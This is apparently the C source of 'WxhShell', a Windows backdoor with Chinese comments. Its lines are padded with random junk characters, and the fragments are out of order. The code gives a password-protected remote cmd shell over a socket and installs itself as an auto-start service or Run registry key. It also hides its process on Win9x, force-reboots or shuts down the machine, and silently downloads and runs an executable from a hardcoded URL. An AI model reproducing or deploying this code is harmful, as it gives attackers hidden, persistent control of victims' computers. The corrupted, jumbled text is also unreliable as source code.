    if(Boot(SHUTDOWN)) Qw5(5W[L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O|+ZEBP  
    else { 6WQN !H8+^  
    closesocket(wsh); $x`HmL3Sb  
    ExitThread(0); T)sIV5bk  
    } yNXYS  
    break; f.uuXK  
    } bR) P-9rs  
  // 获取shell u&1M(~Ub=  
  case 's': { i8k} B o  
    CmdShell(wsh); fMFkA(Of^  
    closesocket(wsh); Pe,ky>ow  
    ExitThread(0); TK18U*z7J  
    break; 'g,_lF  
  } gJX"4]Ol#}  
  // 退出 __xmn{{L6P  
  case 'x': { o]4BST(A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &_-=(rK  
    CloseIt(wsh); 5I2 h(Td  
    break; '%t$m f!nV  
    } %;ED} X  
  // 离开 HBR/" m  
  case 'q': { Z2m^yRQ(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U5N|2  
    closesocket(wsh); *X$qgSW  
    WSACleanup(); >QvqH 2  
    exit(1); 1Z)P.9c  
    break; hWbu Z%  
        } {22ey`@`h  
  } y\;oZ]J  
  } ^i#0aq2}  
D((/fT)eD  
  // 提示信息 )s^gT]"N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nVWU\$Ft  
} eA2*}"W  
  } 0J'Cx&Rg  
Xe\}(O  
  return; zeQ~'ao<  
} XrTc5V  
h ChO  
// shell模块句柄 ]}].A q  
int CmdShell(SOCKET sock) @xBb|/I  
{ #&IrCq+  
STARTUPINFO si; NAE |iyw  
ZeroMemory(&si,sizeof(si)); XchD3p+uB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D*~Q;q>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fJ.=,9:<  
PROCESS_INFORMATION ProcessInfo; Y=<ABtertS  
char cmdline[]="cmd"; ~FYC'd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *!y04'p`<  
  return 0; c^1JSGv  
} OfBWf6b  
aC1 xt(  
// 自身启动模式 89D`!`Ah]  
int StartFromService(void) 3{co.+  
{ rU"AO}6\@  
typedef struct .O0eSp|e  
{ j -o  
  DWORD ExitStatus; KYB3n85 1  
  DWORD PebBaseAddress; ,?j!c*  
  DWORD AffinityMask; GYIQ[#'d7  
  DWORD BasePriority; A@lM =   
  ULONG UniqueProcessId; jWxa [ >  
  ULONG InheritedFromUniqueProcessId; 7mi*#X}  
}   PROCESS_BASIC_INFORMATION; ?^!J:D?  
UV;I6]$}A7  
PROCNTQSIP NtQueryInformationProcess; w/o8R3 F  
9m>L\&\_e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Th%w-19,8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :%mls Nw  
7YTO{E6]d\  
  HANDLE             hProcess; TTj] _R{n  
  PROCESS_BASIC_INFORMATION pbi; Q_,!(N  
L!33`xef'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [*) 2Ou  
  if(NULL == hInst ) return 0; 4jZt0  
jzDPn<WQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s!YX<V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *B&i`tq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N/{=j  
MJe/ \  
  if (!NtQueryInformationProcess) return 0; cqh1,h$sG  
8sDw:wTC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u_ :gqvC=  
  if(!hProcess) return 0; /P3Pv"r|8]  
:k.>H.8+~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JK^%V\m  
DPnrzV )  
  CloseHandle(hProcess); o%]b\Vl6  
j y p.2c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DP*V|)  
if(hProcess==NULL) return 0; Sb?v5  
K~UT@,CS60  
HMODULE hMod; js)E:+{A,  
char procName[255]; '2|mg<Ft  
unsigned long cbNeeded; uh)f/)6  
96F+I!qC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^JIs:\ g<<  
GF<SQHL,  
  CloseHandle(hProcess); w"Zws[pm]  
z9AX8k(B6  
if(strstr(procName,"services")) return 1; // 以服务启动 E0r#xmk  
:]\-GJV5  
  return 0; // 注册表启动 ezJ^ r,D|  
} #c<F,` gdi  
[e.`M{(TB  
// 主模块 2+(SR.oGq  
int StartWxhshell(LPSTR lpCmdLine) fEK%)Z:0  
{ =1B;<aZH!  
  SOCKET wsl;  +@Kq  
BOOL val=TRUE; jw2hB[WR  
  int port=0; S|RUc}(  
  struct sockaddr_in door; Jn0L_@  
Fok`-U  
  if(wscfg.ws_autoins) Install(); LwQYO'X  
`$;%%/tx  
port=atoi(lpCmdLine); MGKSaP;x  
V,tYqhQ3  
if(port<=0) port=wscfg.ws_port; :VRQd}$Pi  
Q;2k bVWY  
  WSADATA data; J0@#xw=+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,tFLx#e#  
GV)DLHiyxX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kafj?F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tN;~.\TKg  
  door.sin_family = AF_INET; [ dVRVm0N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m<4tH5 };d  
  door.sin_port = htons(port); W6 *5e{  
kf",/?s2Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H8qAj  
closesocket(wsl); 3AuLRI  
return 1; L{6Vi&I84[  
} R /c-sV  
Wzh#dO?7  
  if(listen(wsl,2) == INVALID_SOCKET) { NydoX9  
closesocket(wsl); UD]RWN  
return 1; h5H#xoCXp  
} 98l-  
  Wxhshell(wsl); 2;ogkPv'  
  WSACleanup(); W2,Uw1\:1  
+^aM(4K\  
return 0; @F5QgO J&r  
?0+J"FH# W  
} ?B4X&xf.D  
Fmrl*tr  
// 以NT服务方式启动 :?gk =JH:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q;p% VQ  
{ CM%;r5  
DWORD   status = 0; +u7nx  
  DWORD   specificError = 0xfffffff; za4:Jdr  
V@ph.)z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =G/`r!r*0I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f'M7x6W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G-T2b,J [  
  serviceStatus.dwWin32ExitCode     = 0; uchz<z1  
  serviceStatus.dwServiceSpecificExitCode = 0; 3)py|W%X $  
  serviceStatus.dwCheckPoint       = 0; qc^qCGy!z  
  serviceStatus.dwWaitHint       = 0; ATU]KL!{  
!RdubM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O:O +Q!58  
  if (hServiceStatusHandle==0) return; u#34mg..  
{B6tGLt#bf  
status = GetLastError(); `OyYo^+D|.  
  if (status!=NO_ERROR) Rwz (20n\^  
{ Q(YQ$ i"S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FHu+dZ  
    serviceStatus.dwCheckPoint       = 0; O>L 5 dP  
    serviceStatus.dwWaitHint       = 0; 9"k^:}8.  
    serviceStatus.dwWin32ExitCode     = status; (V+iJ_1g{  
    serviceStatus.dwServiceSpecificExitCode = specificError; +D+Rf,D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w=75?3c7F  
    return; 2SVJKX_V+  
  } z2A1h!Me  
1:iT#~n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K~>ESMZ5  
  serviceStatus.dwCheckPoint       = 0; XFN4m #  
  serviceStatus.dwWaitHint       = 0; V\o& {7!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0j|JyS:}G  
} @460r  
Gl>_C@n0h  
// 处理NT服务事件,比如:启动、停止 !tofO|E5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ::rKW *?  
{ -}*YfwK  
switch(fdwControl) MXU8QVSY"  
{ 41`&/9:"_M  
case SERVICE_CONTROL_STOP: 4m$Xjj`vE  
  serviceStatus.dwWin32ExitCode = 0; "*aL(R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ];o[Yn'>o  
  serviceStatus.dwCheckPoint   = 0; ~~'UQnUN4  
  serviceStatus.dwWaitHint     = 0; zc#aQ.  
  { ;O7<lF\7o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9i+SU|;j  
  } w[wrZ:[  
  return; </8F  
case SERVICE_CONTROL_PAUSE: J'>i3e Lq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tO ^KCnL  
  break; ~<#!yRy>r  
case SERVICE_CONTROL_CONTINUE: j5>3Td.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v= I 'rx  
  break; |cE 69UFB  
case SERVICE_CONTROL_INTERROGATE: $>fMu   
  break; ^h@1tFF  
}; 2oFHP_HVfu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); As7Y4w*+  
} mN:p=.& <  
RK`C31Ws  
// 标准应用程序主函数 ?N*|S)BN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r8E)GBH-|  
{ /Z*XKIU6v/  
g4 |s9RMD  
// 获取操作系统版本 JH;\wfr D  
OsIsNt=GetOsVer(); 7 a}qnk %  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DVq 5[ntG  
.3.oan*i  
  // 从命令行安装 gf8DhiB  
  if(strpbrk(lpCmdLine,"iI")) Install(); ESl</"<J  
L(2KC>GvA  
  // 下载执行文件 %kJ_o*"  
if(wscfg.ws_downexe) { JW4~Qwx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MdOQEWJ$|  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5L}qL?S`x|  
} &u'$q  
f6h!wx  
if(!OsIsNt) { [nam H a  
// 如果时win9x,隐藏进程并且设置为注册表启动 X_eh+>D  
HideProc(); =i/7&gC  
StartWxhshell(lpCmdLine); uxd5XS  
} Y&Sk/8  
else Z'vGX,:  
  if(StartFromService()) Je#vl4<L  
  // 以服务方式启动 X^U)j N2  
  StartServiceCtrlDispatcher(DispatchTable); Kf$%C"  
else TYQ7jt0=.-  
  // 普通方式启动 9_z u*  
  StartWxhshell(lpCmdLine); ,5_Hen=PI  
g= ql 3N  
return 0; ./009p  
} {\Eqo4A5}  
ul$^]ZWkI  
xmEmdOoD  
;9r`P_r  
=========================================== 2%'iTXF  
Xk_xTzJ  
%!G]H   
XJ|CC.]1u  
;:[!I]E0  
2?9SM@nAY  
" EVW{!\8[  
JEK 6Ms;)A  
#include <stdio.h> w}<CH3cx  
#include <string.h> ^f -?xXPx  
#include <windows.h> e.<$G'  
#include <winsock2.h> oc>ne]_'  
#include <winsvc.h> f<V#Yc(U }  
#include <urlmon.h> e[HP]$\   
Su0[f/4m.Q  
#pragma comment (lib, "Ws2_32.lib") ,{ C   
#pragma comment (lib, "urlmon.lib") n y7 G  
$W 46!U3  
#define MAX_USER   100 // 最大客户端连接数 wr/Z)e =^3  
#define BUF_SOCK   200 // sock buffer ][|)qQ%V  
#define KEY_BUFF   255 // 输入 buffer 06 kjJ4  
`[<j5(T  
#define REBOOT     0   // 重启 G] -$fz  
#define SHUTDOWN   1   // 关机 ckXJ9>  
d3fF|Wp1  
#define DEF_PORT   5000 // 监听端口 S(^*DV  
]OE{qXr{  
#define REG_LEN     16   // 注册表键长度 dsKEWZ =  
#define SVC_LEN     80   // NT服务名长度 3McBTa!  
\>8"r,hG|  
// 从dll定义API +1Ha,O k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); li4rK <O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ng?n}$g*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f-N:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2t3'"8xJ  
em  
// wxhshell配置信息 &wbe^Wp  
struct WSCFG { 7-"ml\z  
  int ws_port;         // 监听端口 fA!uSqR$V  
  char ws_passstr[REG_LEN]; // 口令 jlV~-}QKb7  
  int ws_autoins;       // 安装标记, 1=yes 0=no h2 2-v X  
  char ws_regname[REG_LEN]; // 注册表键名 T-)Ur/qp  
  char ws_svcname[REG_LEN]; // 服务名 @;iW)a_M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6% @@~"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }+K SZ,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N@$g"w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  o *2TH2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sjpcz4|K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bE-{ U/;  
`B+P$K<X  
}; iV!o)WvG,F  
*~F\k):>  
// default Wxhshell configuration tN&x6O+@  
struct WSCFG wscfg={DEF_PORT, 8Yr_$5R  
    "xuhuanlingzhe", wf!?'*  
    1, ^zv0hGk2  
    "Wxhshell", NJfI9L  
    "Wxhshell", KLW#+vZ  
            "WxhShell Service", seh1(q?Va4  
    "Wrsky Windows CmdShell Service",  pei-R  
    "Please Input Your Password: ", MS,J+'2  
  1, @B;2z_Y!l  
  "http://www.wrsky.com/wxhshell.exe", Bb^CukS:  
  "Wxhshell.exe" C0o 0 l>  
    }; `+[e]dH  
-iu7/4!j  
// 消息定义模块 ^YddVp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WQ/H8rOs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {=W TAgP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &?m|PK)I  
char *msg_ws_ext="\n\rExit."; 9NTBdo%u  
char *msg_ws_end="\n\rQuit."; @ !0@f'}e  
char *msg_ws_boot="\n\rReboot..."; =W(mZ#*vdY  
char *msg_ws_poff="\n\rShutdown..."; ^2L\Y2  
char *msg_ws_down="\n\rSave to "; $;1#gq%  
[:-Ltfr  
char *msg_ws_err="\n\rErr!"; H]V@Q~?e  
char *msg_ws_ok="\n\rOK!"; {VBx;A3*I  
?{W@TY@S  
char ExeFile[MAX_PATH]; 29DYL  
int nUser = 0; gF( aYuk  
HANDLE handles[MAX_USER]; 8A{n9>jrb  
int OsIsNt;  VP H  
gPO,Z  
SERVICE_STATUS       serviceStatus; JivkY"= F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  7e\g  
}W{rDc kv  
// 函数声明 0|g|k7c{rF  
int Install(void); GAONgz|ZI  
int Uninstall(void); p._BG80  
int DownloadFile(char *sURL, SOCKET wsh); "'us.t.  
int Boot(int flag); CV%AqJN  
void HideProc(void); 1Zc1CUMG  
int GetOsVer(void); B#RwW,  
int Wxhshell(SOCKET wsl); 7%C6hEP/*W  
void TalkWithClient(void *cs); <aJdm!6  
int CmdShell(SOCKET sock); T4,dhS|  
int StartFromService(void); n?vw|'(}  
int StartWxhshell(LPSTR lpCmdLine); }eUeADbC  
tbHU(#~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \M~M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m\>531&  
w5 nzS)B:u  
// 数据结构和表定义 MP/6AAt7=|  
SERVICE_TABLE_ENTRY DispatchTable[] = J-t5kU;L{  
{ #9aB3C  
{wscfg.ws_svcname, NTServiceMain}, 1&A@Zo5|  
{NULL, NULL} W99MA5P  
}; *RugVH4  
M)td%<_  
// 自我安装 T|o[! @:,  
int Install(void) +b_g,RNs!  
{ 7=yC*]BH-=  
  char svExeFile[MAX_PATH]; l:v:f@M&  
  HKEY key; G}1?lO_d`  
  strcpy(svExeFile,ExeFile); [ t@  
~^*IP1.3  
// 如果是win9x系统,修改注册表设为自启动 >Q&E4jC  
if(!OsIsNt) { \ .H X7v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <}S1ZEZcQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1vlRzkd  
  RegCloseKey(key); N1rBpt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^R.kThG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rYUhGmg`  
  RegCloseKey(key); ^:g8mt  
  return 0; tFLdBv!=:^  
    } |_Vi8Ly  
  } zlC|Spaf  
} j0b?dKd  
else { SE= 3`rVJ  
>vE1,JD)w  
// 如果是NT以上系统,安装为系统服务 yi`Z(j;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J [}8&sn  
if (schSCManager!=0) MNURYA=  
{ k,o|"9H  
  SC_HANDLE schService = CreateService CAg\-*P|  
  ( l]Ozy@ Ib  
  schSCManager, =KfV;.&  
  wscfg.ws_svcname, u/?s_OR  
  wscfg.ws_svcdisp, KLv`Xg\  
  SERVICE_ALL_ACCESS, _,V 9^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B WdR~|2  
  SERVICE_AUTO_START, z(]14250  
  SERVICE_ERROR_NORMAL, X2b<_j3  
  svExeFile, A<ca9g3  
  NULL, D<9FSxl6  
  NULL, q]F2bo  
  NULL, T1TKwU8l  
  NULL, b X.S`  
  NULL a f[<[2pma  
  ); S;DqM;Q  
  if (schService!=0) )-$Od2u2c  
  { 9-)D"ZhLe  
  CloseServiceHandle(schService); ]k~k6#),;  
  CloseServiceHandle(schSCManager); GtcY){7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VfAC&3 %M  
  strcat(svExeFile,wscfg.ws_svcname); gf/$M[H!   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~\A(xmW}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uJ jm50R<  
  RegCloseKey(key); h=6Zvf<x  
  return 0; [<m1xr4"k  
    }  y/t{*a  
  } PLDg'4DMg  
  CloseServiceHandle(schSCManager); nO^aZmSu  
} FoY_5/  
} {qO[93yg)/  
] h3~>8<  
return 1; ,$irJz F  
} rlSar$  
JR/:XYS+  
// 自我卸载 l}-JtZ?[?  
int Uninstall(void) p/jC}[$v  
{ !yAlb#yu  
  HKEY key; 0ut/ ')[  
;Awt:jF  
if(!OsIsNt) { 5B3S]@%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 @XkO  
  RegDeleteValue(key,wscfg.ws_regname); ! 6yo D  
  RegCloseKey(key); 6gz !K"S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^_FB .y%  
  RegDeleteValue(key,wscfg.ws_regname); ^|yw)N]Q/  
  RegCloseKey(key); s=0z%~H  
  return 0; -*8|J;  
  } }Z5f5q  
} k<p$BZ  
} 4/Ub%t -  
else { -a:+ h\K  
o HqBNTyH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k}T#-Gb  
if (schSCManager!=0) 1} 1.5[4d  
{ :o$k(X7a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eSvS<\p  
  if (schService!=0) b77Iw%x7  
  { &NbhQY`k  
  if(DeleteService(schService)!=0) { GSzb  
  CloseServiceHandle(schService); 5yPw[ EY  
  CloseServiceHandle(schSCManager); Bw^*6P^l  
  return 0; m\QUt ;  
  } rro92(y  
  CloseServiceHandle(schService); S?pWxHR]  
  } olc7&R  
  CloseServiceHandle(schSCManager); 0mcZe5RS  
} /NvHM$5O%  
} X|!Vt O  
Pn:L=*  
return 1; 3^m0 k E  
} Pf`HF|NI  
o6LeC*  
// 从指定url下载文件  ~DYUI#x  
int DownloadFile(char *sURL, SOCKET wsh) N!R>L{H>  
{ ;Fw{p{7<  
  HRESULT hr; r8.R?5F@  
char seps[]= "/"; U .?N  
char *token; [(Z{5gK  
char *file; I8*_\Ez  
char myURL[MAX_PATH]; QWL$F:9:  
char myFILE[MAX_PATH]; jK`b6:#(,  
Z$qLY<aV  
strcpy(myURL,sURL); xUT]6T0dB  
  token=strtok(myURL,seps); hSQ*_#  
  while(token!=NULL) S]_iobWK  
  { $07;gpZt  
    file=token; HRX}r$  
  token=strtok(NULL,seps); X>}-UHKV+  
  } 9FB k|g"U)  
+OSF0#bj  
GetCurrentDirectory(MAX_PATH,myFILE); # .1+-^TQk  
strcat(myFILE, "\\"); {8b6M  
strcat(myFILE, file); V~nqPh!Jc  
  send(wsh,myFILE,strlen(myFILE),0); klkshlk d  
send(wsh,"...",3,0); h- )tWJ c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'ii5pxeNI  
  if(hr==S_OK) S\$=b_.  
return 0; x-0O3IIE  
else tf1iRXf8  
return 1; 4:1URhE  
Mn`);[  
} TVy\%FP^L  
Er@'X0n  
// 系统电源模块 b;kgP`%%  
int Boot(int flag) ?@n, 9!  
{ =3K}]3f  
  HANDLE hToken; ScN'|Ia.-  
  TOKEN_PRIVILEGES tkp; &lnr?y^  
ck0K^o v  
  if(OsIsNt) { FU]jI[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p./9^S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ngmHiI W  
    tkp.PrivilegeCount = 1; ,3+#?H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UNK}!>HD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _.)6~  
if(flag==REBOOT) { IR_&dWHyc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cp| q  
  return 0; /6Bm <k%  
} BqoGHg4iq  
else { CEQs}bz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pNt,RRoR  
  return 0; "rHcsuSEw  
} 4i]h0_]  
  } $, I%g<  
  else { 4%refqWK  
if(flag==REBOOT) { @Z}TF/Rx4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <V} ec1  
  return 0; ,,}& Q%5  
} l~mC$>f  
else { eMHBY6<~=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $U*b;'o  
  return 0; (U`<r-n\n  
} jWpm"C  
} Vt4KG+zm  
G;jX@XqZ  
return 1; ;T-`~  
} A,PF#G(  
TUy 25E  
// win9x进程隐藏模块 2!kb?  
void HideProc(void) ~<.%sVwE  
{ }0okyGg>q  
lf`" (:./  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); obzdH:S  
  if ( hKernel != NULL ) AHB_[i'>7  
  { z^,P2kqK_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %fJ~ 3mu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _P}wO8  
    FreeLibrary(hKernel); >;^t)6  
  } /#Fz K  
K=K]R01/o  
return; 4tA`,}ywPq  
} P 7`RAz  
#MyF 1E  
// 获取操作系统版本 8wH1x .  
int GetOsVer(void) ^n%9Tu  
{ &s0_^5B0  
  OSVERSIONINFO winfo; H`T8ydNXa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qh~$AJ9sB  
  GetVersionEx(&winfo); +o3 ZQ9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9z'(4U  
  return 1; *8%nbR  
  else ^1w<wB\B  
  return 0; mb GL)NI  
} yg WwUpY  
FlyRcj  
// 客户端句柄模块 z km#w  
int Wxhshell(SOCKET wsl) -`cNRd0n  
{ Z,_EhEm  
  SOCKET wsh; Y 8Dn&W  
  struct sockaddr_in client; nvInq2T 1  
  DWORD myID; ,R$U(,>_0  
 =v!'?  
  while(nUser<MAX_USER) MhDPf]` Gg  
{ J ]ri|a  
  int nSize=sizeof(client); $z,rN\[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 49!(Sa_]j  
  if(wsh==INVALID_SOCKET) return 1;  i|!D  
?{]"UnyVE*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Yc`PK =!l  
if(handles[nUser]==0) @v~<E?Un  
  closesocket(wsh); w,zm$s^  
else pY$DOr- r`  
  nUser++; 2J&J  
  } 9i`MUE1Sh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !*!i&0QC~R  
6^QSV@N|  
  return 0; M <K}H8?  
} 'GF<_3I2l  
BK 9+fO  
// 关闭 socket dF+R q|n{  
void CloseIt(SOCKET wsh) undH{w=  
{ YgLHp/  
closesocket(wsh); GswV/V+u  
nUser--; R+<M"LriR&  
ExitThread(0); vSv:!5*  
} f>[!Zi*  
QD*\zB  
// 客户端请求句柄 5?HoCz]l  
void TalkWithClient(void *cs) z^Y4:^L~I  
{ i*6 1i0  
Tqm)-|[  
  SOCKET wsh=(SOCKET)cs; jRBKy8?[C  
  char pwd[SVC_LEN]; y{9<>28  
  char cmd[KEY_BUFF]; [pzo[0G 'v  
char chr[1]; \= G8  
int i,j; # XeEpdE  
F*_ytL  
  while (nUser < MAX_USER) { >jRH<|Az  
UNCI"Mjb  
if(wscfg.ws_passstr) { XQStlUw8+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t@cImmh\T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K!O7q~s[D  
  //ZeroMemory(pwd,KEY_BUFF); -&0HAtc  
      i=0; js[H $  
  while(i<SVC_LEN) { tD+K4 ^  
O[5u6heNMr  
  // 设置超时 JL=s=9N;3  
  fd_set FdRead; 8z`Ne(h;  
  struct timeval TimeOut; df8aM<&m3  
  FD_ZERO(&FdRead); vq8&IL  
  FD_SET(wsh,&FdRead); X8~gLdv8  
  TimeOut.tv_sec=8; ,3bAlc8D7  
  TimeOut.tv_usec=0; qwvch^?>FQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u;/<uV3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KY9&Ky+2B  
s-e<&*D[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VI;)VJbq  
  pwd=chr[0]; >mp" =Y  
  if(chr[0]==0xd || chr[0]==0xa) { 5^ e|802  
  pwd=0; v]U0@#/p  
  break; TIVrbO\!o  
  } nA.~}  
  i++; %)}y[ (  
    } kWxcB7)uk  
%R-KkK<S  
  // 如果是非法用户,关闭 socket FQO>%=&4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HyJ&;4rf  
} T?EFY}f  
tS sDW!!M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qg5-I$0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^T_2 s  
;oJCV"y6$  
while(1) { ^ jT1q_0  
GU]_Z!3  
  ZeroMemory(cmd,KEY_BUFF); !A#(bC  
:eL ja*  
      // 自动支持客户端 telnet标准   +*Pj,+;W  
  j=0; ?T7ndXX  
  while(j<KEY_BUFF) { 822jZ sb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *K=Yrisz  
  cmd[j]=chr[0]; S)z5=N(Xz  
  if(chr[0]==0xa || chr[0]==0xd) { "dFuQB  
  cmd[j]=0; ]7 2wv#-  
  break; hC2_Yr>N%  
  } RrRE$g  
  j++; )"H r3  
    } }NF7"tOL  
#RVN 7-x  
  // 下载文件 t_{rKb,  
  if(strstr(cmd,"http://")) { B$&&'i%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {"@E_{\  
  if(DownloadFile(cmd,wsh)) H<C+ rAIb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g/jlG%kI}  
  else tN&_f==e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &?#!%Ds  
  } O>Ao#_*hOb  
  else {  FA#8  
